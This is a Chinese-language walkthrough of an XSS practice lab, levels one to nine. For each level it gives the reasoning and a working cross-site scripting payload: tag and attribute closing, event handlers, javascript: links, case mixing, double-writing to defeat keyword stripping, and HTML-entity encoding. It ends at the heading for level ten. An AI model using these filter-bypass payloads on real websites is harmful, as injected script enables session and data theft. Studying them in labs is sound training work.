第一关

没有任何防范

1
<script>alert()</script>

第二关

可以看到在h2标签这里他将<和>进行了编码,而在输入这个标签中,她是没有被编码的,但是可以看到我们的注入语句被放到了value值当中,这样浏览器是不会执行我们注入的语句的,所以构造闭合思路。

1
'"><script>alert()</script>

第三关

可以看到内容在input标签中输出了,那么可以尝试闭合input标签的value属性,加上onfocus事件或者onblur事件,onfocus事件会一直弹框。

1
2
3
' onfocus='alert(121)'
' onblur='alert()'
' onBlur=javascript:alert('世界马上要毁灭了')

第四关

发现单引号不能闭合input标签的value属性对应值的引号,所以再加一个双引号来闭合

1
' onfocus='alert(121)'

第五关

on事件被过滤了,中间加了个_ ,换成a标签

image wrong
1
'"><a href='javascript:alert(111)'>点这里</a>

第六关

href属性被过滤了,换成大写或大小写混合

image wrong
1
'"><a HREF='javascript:alert(111)'>点这里</a>

第七关

双写

1
'"><a HRhrefEF='javascriscriptpt:alert(111)'>点这里</a>

第八关

只有在属性值的时候可以用编码,Unicode转换成其他编码ASCII

image wrong
1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#49;&#49;&#39;&#41;

第九关

http://可以输出,注释掉就好,并且javascript加了杠,所以转义

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(111)//http://

第十关